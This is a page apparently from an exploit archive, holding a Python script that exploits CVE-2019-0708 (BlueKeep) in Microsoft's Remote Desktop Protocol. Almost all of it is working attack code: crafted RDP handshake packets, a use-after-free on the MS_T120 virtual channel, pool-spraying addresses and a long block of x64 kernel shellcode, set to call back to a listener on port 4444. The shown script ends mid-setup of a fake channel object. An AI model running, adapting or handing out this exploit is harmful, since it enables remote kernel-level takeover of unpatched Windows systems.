Microsoft RDP Remote Code Execution

Related Vulnerabilities: CVE-2019-0708  
Publish Date: 03 Jun 2021
                							

                #!/usr/bin/python

import socket
from OpenSSL import *
from struct import pack, unpack
from sys import argv, exit

class x224ConnectionRequestPacket:
    def __init__(self):
        # total of 8 bytes
        self.rdpNegReq = pack(
           '<BBHI',
           1,                                                       # type (TYPE_RDP_NEG_REQ)  , 1 byte
           0,                                                       # flags                    , 1 byte (fuzzable)
           8,                                                       # length                   , 2 bytes
           1,                                                       # request protocol         , 4 bytes (fuzzable)
        )

        # total of 7 bytes, (6 bytes without length indicator)
        self.x224Crq = pack(
           '!BBHHB',
           6 + len(self.rdpNegReq),                                 # length indication      , 1 byte
                                                                    # 6: length of this header, excluding length byte
           224,                                                     # CR -> 1110 (E) CDT -> 0000 (0) for class 0 and 1
           0,                                                       # dest-ref               , 2 bytes  (fuzzable)
           0,                                                       # src-ref                , 2 bytes  (fuzzable)
           0,                                                       # class 0
        )

        self.cr_tpdu = self.x224Crq + self.rdpNegReq

        self.tpkt_total_length = len(self.cr_tpdu) + 4

        self.tpktHeader = pack(
           '!BBH',
           3,                                                       # version                  , 1 byte
           0,                                                       # reserved                 , 1 byte
           self.tpkt_total_length                                   # len (include the header) , 2 bytes
        )

        self.pdu = self.tpktHeader + self.cr_tpdu



class MCSConnectInitialPacket:
   def __init__(self, channels):
    
      self.channelDefArray = ''
   
      for channel in channels:
          self.channelDefArray += channel.ljust(8, '\x00') + '\x00' * 4

      self.clientNetworkData  = pack('<HHI',
              0xc003,                                               # Header Type
              len(self.channelDefArray) + 4 + 2 + 2,                # Header Length 
              len(channels)                                         # channelCount
            )
      self.clientNetworkData += self.channelDefArray                # channelDefArray
      

      # fix - do not touch, or else requires updating header length
      self.clientSecurityData = pack('<HHII',
              0xc002,                                               # Header Type
              12,                                                   # Header Length (2 + 2 + 4 + 4)
              0x0000001b,                                           # encryption Methods
              0,                                                    # extEncryption Methods
            )
      

      # fix - do not touch, or else requires updatng header length
      self.clientCoreData  = pack('<HHHHHHHHII',
               0xc001,                                              # header type          (2 bytes)
               0xea,                                                # header length        (2 bytes)
               0x0a,                                                # version major        (2 bytes)
               0x08,                                                # version minor        (2 bytes)
               0x07e8,                                              # desktop Width        (2 bytes)
               0x05ee,                                              # desktop Height       (2 bytes)
               0xca01,                                              # color Depth          (2 bytes)
               0xaa03,                                              # SASSequence          (2 bytes)
               0x0409,                                              # keyboard Layout      (4 bytes)
               0x42ee,                                              # client Build         (4 bytes)
            )
      self.clientCoreData += 'A\x00'*15 + '\x00'*2                  # clientName           (32 bytes)
      self.clientCoreData += pack('<III',
               7,                                                   # keyboard             (4 bytes)
               0,                                                   # keyboardSubType      (4 bytes)
               12,                                                  # keyboardFunctionKey  (4 bytes)
            )
      self.clientCoreData += '\x00'*64                              # imeFileName          (64 bytes)
      
      self.clientCoreData += pack('<HHIHHH',
               0xca01,                                              # postBeta2ColorDepth  (2 bytes)
               1,                                                   # clientProductId      (2 bytes)
               0,                                                   # serialNumber         (4 bytes)
               0x18,                                                # highColorDepth       (2 bytes)
               0x0f,                                                # supportColorDepths   (2 bytes)
               0x07af,                                              # earlyCapabilityFlags (2 bytes)
            )       
      self.clientCoreData += '\x00'*64                              # clientDigProductId   (64 bytes)
      self.clientCoreData += pack('<BBI',
               7,                                                   # connectionType         (1 byte) 
               0,                                                   # pad1octet              (1 byte)
               1,                                                   # serverSelectedProtocol (4 byte) - (subject to change)
            )
      
      self.clientCoreData += '\x00' * 18


      self.rdp_clientData = pack('!H',
              0x814a - 56 - 16 - 12 + len(self.clientNetworkData),
            )

      self.rdp_clientData += self.clientCoreData + self.clientSecurityData + self.clientNetworkData


      self.conferenceCreateRequest = pack('!H',
              0x8158 - 56 - 16 - 12 + len(self.clientNetworkData),
            )

      self.conferenceCreateRequest += '\x00'
      self.conferenceCreateRequest += '\x08\x00'                    # conference name
      self.conferenceCreateRequest += '\x10'                        # lockedConference | listedConference | conductibleConference
      self.conferenceCreateRequest += '\x00\x01'                    # terminationMethod
      self.conferenceCreateRequest += '\xc0\x00\x44\x75\x63\x61'    # userData: h221NonStandard (44756361)

      self.t124Identifer = '\x00\x05\x00\x14\x7c\x00\x01'           # ASN.1 BER Encoded
      self.connectData = self.t124Identifer + self.conferenceCreateRequest + self.rdp_clientData


      self.genericConferenceControl = pack('!HH',
              0x0482,
              len(self.connectData),
            ) + self.connectData


      self.mcs  = '\x7f\x65\x82'                                    # MCS Header
      self.mcs += pack('!H', 
              len(self.genericConferenceControl) + 93)              # MCS length (not including length size + header) 
      self.mcs += '\x04\x01\x01'                                    # calling domain selector - ASN.1 BER octet type
      self.mcs += '\x04\x01\x01'                                    # called domain selector  - ASN.1 BER octet type
      self.mcs += '\x01\x01\xff'                                    # upward flag - ASN.1 BER boolean type
      
      # targetParameters - fix - do not touch or else need to update size
      self.mcs += '\x30\x19'                                        # header | size (0x19)   
      self.mcs += '\x02\x01\x22'                                    # maxChannelIds - ASN.1 BER integer type * var * ?
      self.mcs += '\x02\x01\x02'                                    # maxUserIds - ASN.1 BER integer type
      self.mcs += '\x02\x01\x00'                                    # maxTokenIds - ASN.1 BER integer type
      self.mcs += '\x02\x01\x01'                                    # numPriorities - ASN.1 BER integer type
      self.mcs += '\x02\x01\x00'                                    # minThroughput - ASN.1 BER integer type
      self.mcs += '\x02\x01\x01'                                    # maxHeight     - ASN.1 BER integer type
      self.mcs += '\x02\x02\xff\xff'                                # maxMCSPDUSize - ASN.1 BER integer type
      self.mcs += '\x02\x01\x02'                                    # protocolVersion - ASN.1 BER integer type

      # minimumParameters - fix - do not touch or else need to update size
      self.mcs += '\x30\x19'                                        # header | size (0x19)   
      self.mcs += '\x02\x01\x01'                                    # maxChannelIds - ASN.1 BER integer type * var * ?
      self.mcs += '\x02\x01\x01'                                    # maxUserIds - ASN.1 BER integer type
      self.mcs += '\x02\x01\x01'                                    # maxTokenIds - ASN.1 BER integer type
      self.mcs += '\x02\x01\x01'                                    # numPriorities - ASN.1 BER integer type
      self.mcs += '\x02\x01\x00'                                    # minThroughput - ASN.1 BER integer type
      self.mcs += '\x02\x01\x01'                                    # maxHeight     - ASN.1 BER integer type
      self.mcs += '\x02\x02\x04\x20'                                # maxMCSPDUSize - ASN.1 BER integer type
      self.mcs += '\x02\x01\x02'                                    # protocolVersion - ASN.1 BER integer type

      # maximumParameters - fix - do not touch or else need to update size
      self.mcs += '\x30\x1c'                                        # header | size (0x1c)   
      self.mcs += '\x02\x02\xff\xff'                                # maxChannelIds - ASN.1 BER integer type * var * ?
      self.mcs += '\x02\x02\xfc\x17'                                # maxUserIds - ASN.1 BER integer type
      self.mcs += '\x02\x02\xff\xff'                                # maxTokenIds - ASN.1 BER integer type
      self.mcs += '\x02\x01\x01'                                    # numPriorities - ASN.1 BER integer type
      self.mcs += '\x02\x01\x00'                                    # maxThroughput - ASN.1 BER integer type
      self.mcs += '\x02\x01\x01'                                    # maxHeight     - ASN.1 BER integer type
      self.mcs += '\x02\x02\xff\xff'                                # maxMCSPDUSize - ASN.1 BER integer type
      self.mcs += '\x02\x01\x02'                                    # protocolVersion - ASN.1 BER integer type


      self.x224Data = '\x02\xf0\x80'                                # Length Indicaton , (DT ROA|TPDU-NR and EOT makes 2 bytes total)
      
      self.mcsci_tpdu = self.x224Data + self.mcs + self.genericConferenceControl
      
      self.tpkt_total_length = len(self.mcsci_tpdu) + 4

      self.tpktHeader = pack(
           '!BBH',
           3,                                                       # version                  , 1 byte
           0,                                                       # reserved                 , 1 byte
           self.tpkt_total_length                                   # len (include the header) , 2 bytes
        )

      self.pdu  = self.tpktHeader + self.mcsci_tpdu

class VirtualChannelPacket:
    def __init__(self, data, initiator, channelId):

      self.virtualChannelData = data 

      self.channelPduHeader = pack('II', len(self.virtualChannelData), 3)
      
      self.mcsPdu = '\x64' + pack('!H', initiator) + pack('!H', channelId) + '\x70' + pack('!H', 0x8000 + 8 + len(self.virtualChannelData))

      self.x224Data = '\x02\xf0\x80'                                # Length Indicaton , (DT ROA|TPDU-NR and EOT makes 2 bytes total)

      self.vc_pdu = self.x224Data + self.mcsPdu + self.channelPduHeader + self.virtualChannelData

      self.tpkt_total_length = len(self.vc_pdu) + 4

      self.tpktHeader = pack(
           '!BBH',
           3,                                                       # version                  , 1 byte
           0,                                                       # reserved                 , 1 byte
           self.tpkt_total_length                                   # len (include the header) , 2 bytes
        )

      self.pdu  = self.tpktHeader + self.vc_pdu


def sendX224Request(s):
   cr = x224ConnectionRequestPacket()
   s.sendall(cr.pdu)
   data = s.recv(8000)
   return data

def sendMCSGCC(s, channels):
   mcsci = MCSConnectInitialPacket(channels)
   s.sendall(mcsci.pdu)
   data = s.recv(8000)
   return data
  
def sendErectDomainRequest(s):
   s.sendall('\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00')

def sendAttachUserRequest(s):
   s.sendall('\x03\x00\x00\x08\x02\xf0\x80\x28')
   data = s.recv(8000)
   return data
   
def sendChannelJoinRequest(s, initiator, channelId):
   s.sendall('\x03\x00\x00\x0c\x02\xf0\x80\x38' + pack('!HH', initiator, channelId))
   data = s.recv(8000)
   return data

def sendClientInfo(s):
   pdu = '\x03\x00\x01\x4f\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x81\x40\x40\x00\x77\xee\x09\x04\x09\x04\x33\x41\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x20\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x33\x00\x39\x00\x2e\x00\x32\x00\x33\x00\x33\x00\x00\x00\x40\x00\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x44\x00\x4f\x00\x57\x00\x53\x00\x5c\x00\x73\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\xe0\x01\x00\x00\x50\x00\x61\x00\x63\x00\x69\x00\x66\x00\x69\x00\x63\x00\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x00\x61\x00\x63\x00\x69\x00\x66\x00\x69\x00\x63\x00\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\xff\xff\xff\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x64\x00\x00\x00'
   s.sendall(pdu)
   data = s.recv(8000)
   return data

def sendConfirmActivePDU(s, initiator, pduSource):
   pdu = '\x03\x00\x02\x04\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x81\xf5\xf5\x01\x13\x00' +  pack('H', pduSource) + '\xea\x03\x01\x00\xea\x03\x06\x00\xdf\x01\x4d\x53\x54\x53\x43\x00\x16\x00\x00\x00\x01\x00\x18\x00\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x20\x00\x01\x00\x01\x00\x01\x00\x9a\x07\xb4\x05\x00\x00\x01\x00\x01\x00\x00\x1a\x01\x00\x00\x00\x03\x00\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x08\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x08\x00\x0a\x00\x01\x00\x14\x00\x15\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0d\x00\x58\x00\x91\x00\x20\x00\x09\x04\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x0e\x00\x08\x00\x01\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00\x0f\x00\x08\x00\x01\x00\x00\x00\x11\x00\x0c\x00\x01\x00\x00\x00\x00\x28\x64\x00\x14\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x15\x00\x0c\x00\x02\x00\x00\x00\x00\x0a\x00\x01\x1a\x00\x08\x00\xaf\x94\x00\x00\x1c\x00\x0c\x00\x12\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01\x00\x1e\x00\x08\x00\x01\x00\x00\x00\x18\x00\x0b\x00\x02\x00\x00\x00\x03\x0c\x00'
   s.sendall(pdu)

def sendRdpPduType_Synchronize(s, initiator, pduSource):
   pdu = '\x03\x00\x00\x25\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x16\x16\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x04\x00\x1f\x00\x00\x00\x01\x00\xea\x03'
   s.sendall(pdu)
   data = s.recv(8000)
   return data

def sendRdpPduType_Control_Action_Cooperate(s, initiator, pduSource):
   pdu = '\x03\x00\x00\x29\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x08\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00'
   s.sendall(pdu)
   data = s.recv(8000)
   return data

def sendRdpPduType_Control_Action_RequestControl(s, initiator, pduSource):
   pdu = '\x03\x00\x00\x29\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x08\x00\x14\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
   s.sendall(pdu)
   data = s.recv(8000)
   return data

def sendRdpPduType_FontList(s, initiator, pduSource):
   pdu = '\x03\x00\x00\x29\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x08\x00\x27\x00\x00\x00\x00\x00\x00\x00\x03\x00\x32\x00'
   s.sendall(pdu)
   data = s.recv(8000)
   return data

def sendToVirtualChannel(s, data, initiator, channelId):
   vc = VirtualChannelPacket(data, initiator, channelId)
   s.sendall(vc.pdu)

def readFromVirtualChannel(s):
   while 1:
       data = tls.recv(8000)
       if '\x03\x00\x00\x22\x02\xf0\x80' in data or '\x03\x00\x00\x6a\x02\xf0\x80' in data:
          # got data that comes from virtual channel
          return data
       else:
          # junk data 
          pass

def makeKernelShellcode():
    # Reference: https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501 
    # spoolsv.exe
    kshellcode = '\x55\xe8\x34\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d\x0d\x3a\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48\xc1\xea\x20\x0f\x30\x5d\x31\xc0\x90\xf4\x90\xeb\xfb\x48\x8d\x2d\x00\x10\x00\x00\x48\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00\x00\xbf\x78\x7c\xf4\xdb\xe8\xe2\x00\x00\x00\x48\x91\xbf\x3f\x5f\x64\x77\xe8\xdd\x00\x00\x00\x8b\x40\x03\x89\xc3\x48\x8d\x50\x28\x4c\x8d\x04\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xb1\x00\x00\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xa6\x00\x00\x00\x8b\x78\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xdf\x00\x00\x00\x3d\xd8\x83\xe0\x3e\x74\x10\x3d\xd8\x83\xe0\x3e\x74\x09\x48\x8b\x0c\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x6f\x00\x00\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b\x08\x48\x39\xde\x74\xf7\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xad\x00\x00\x00\x55\x6a\x01\x55\x41\x50\x4a\x8d\x14\x33\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xb8\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89\x40\x08\xeb\xa5\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e\x48\x8d\x35\x4d\x00\x00\x00\xb9\x00\x06\x00\x00\xf3\xa4\x48\x8b\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20\xff\xd0\x48\x83\xc4\x30\xc3'
    
    # explorer.exe
    #kshellcode = '\x55\xe8\x34\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d\x0d\x3a\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48\xc1\xea\x20\x0f\x30\x5d\x31\xc0\x90\xf4\x90\xeb\xfb\x48\x8d\x2d\x00\x10\x00\x00\x48\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00\x00\xbf\x78\x7c\xf4\xdb\xe8\xe2\x00\x00\x00\x48\x91\xbf\x3f\x5f\x64\x77\xe8\xdd\x00\x00\x00\x8b\x40\x03\x89\xc3\x48\x8d\x50\x28\x4c\x8d\x04\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xb1\x00\x00\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xa6\x00\x00\x00\x8b\x78\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xdf\x00\x00\x00\x3d\xe6\x72\xb2\x3e\x74\x10\x3d\xd8\x83\xe0\x3e\x74\x09\x48\x8b\x0c\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x6f\x00\x00\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b\x08\x48\x39\xde\x74\xf7\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xad\x00\x00\x00\x55\x6a\x01\x55\x41\x50\x4a\x8d\x14\x33\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xb8\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89\x40\x08\xeb\xa5\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e\x48\x8d\x35\x4d\x00\x00\x00\xb9\x00\x06\x00\x00\xf3\xa4\x48\x8b\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20\xff\xd0\x48\x83\xc4\x30\xc3'
    return kshellcode

def makeKernelUserPayload(ring3, size):
   shellcode = makeKernelShellcode() + ring3
   if (size - len(shellcode)) > 0:
      shellcode += '\x90' * (size - len(shellcode))
      return shellcode
   else:
      print '[**] ring3 shellcode size exceeds maxmium supporting length [**]'
      exit(1)


if __name__ == "__main__": 
  
    channels = ['rdpdr', 'MS_T120', 'rdpsnd']
    totalMCSChannels = len(channels) + 2
    origId = 1003
    lhost = '192.168.0.175'
    lport = 4444
    rhost = argv[1]
    rport = 3389

    print
    print '[*] CVE-2019-0708 (BlueKeep) RCE Exploit [*]'
    print '@straight_blast ; straightblast426@gmail.com'
    print

    print '[-] Establishing Connection'

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))

    data = sendX224Request(s)
    #print "x224 Connection Response: " + data.encode('hex')
    
    ctx = SSL.Context(SSL.TLSv1_METHOD)
    tls = SSL.Connection(ctx, s)
    tls.set_connect_state()
    tls.do_handshake()
    
    data = sendMCSGCC(tls, channels)
    #print "MCS GCC Response: " + data.encode('hex')

    sendErectDomainRequest(tls)
    
    data = sendAttachUserRequest(tls)
    #print "Attach User Response: " + data.encode('hex')
    
    initiator = unpack('>I', data[-2:].rjust(4,'\x00'))[0]
    #print "Initiator: " + str(initiator)

    for i in xrange(totalMCSChannels):
        data = sendChannelJoinRequest(tls, initiator, origId + i)
        #print "Join Confirm Response (" + str(origId + i) + "): " + data.encode('hex')

    data = sendClientInfo(tls)
    #print "Error Alert: " + data.encode('hex')

    data = tls.recv(8000)
    #print "Demand Active PDU: " + data.encode('hex')
    sendConfirmActivePDU(tls, initiator, origId + totalMCSChannels - 1)
 
    data = sendRdpPduType_Synchronize(tls, initiator, origId + totalMCSChannels - 1)
    #print "RDP PDU Type: Synchronize Response: " + data.encode('hex')

    data = sendRdpPduType_Control_Action_Cooperate(tls, initiator, origId + totalMCSChannels - 1)
    #print "RDP PDU Type: Control, Action: Cooperate Response: " + data.encode('hex')
    
    data = sendRdpPduType_Control_Action_RequestControl(tls, initiator, origId + totalMCSChannels - 1)
    #print "RDP PDU Type: Control, Action: Granted Control Response: " + data.encode('hex')
    
    data = sendRdpPduType_FontList(tls, initiator, origId + totalMCSChannels - 1)
    #print "RDP PDU Type: Fontmap Response: " + data.encode('hex')

    data = readFromVirtualChannel(tls)
    #print "RDPDR and RDPSND are now loaded"
    
    print '[-] Connection Stablized'

    print '[-] Freeing Object'
    free_mst120_channel = 'A' * 8 + '\x02' + '\x00' * 7
    sendToVirtualChannel(tls, free_mst120_channel, initiator, 1005)
    
    print '[-] Taking Over Freed Object And Pool Spraying'

    pool_size = 0x630
    
    pool_address = 0xfffffa80055ff980
    #pool_address = 0xfffffa800b5ff980

    pool_storage_address = pool_address + 0x48
    pool_shellcode_address = pool_address + 0x50

    fake_channel_object = '\x00' * 200 + pack('<Q', pool_storage_address) + '\x00' * 88

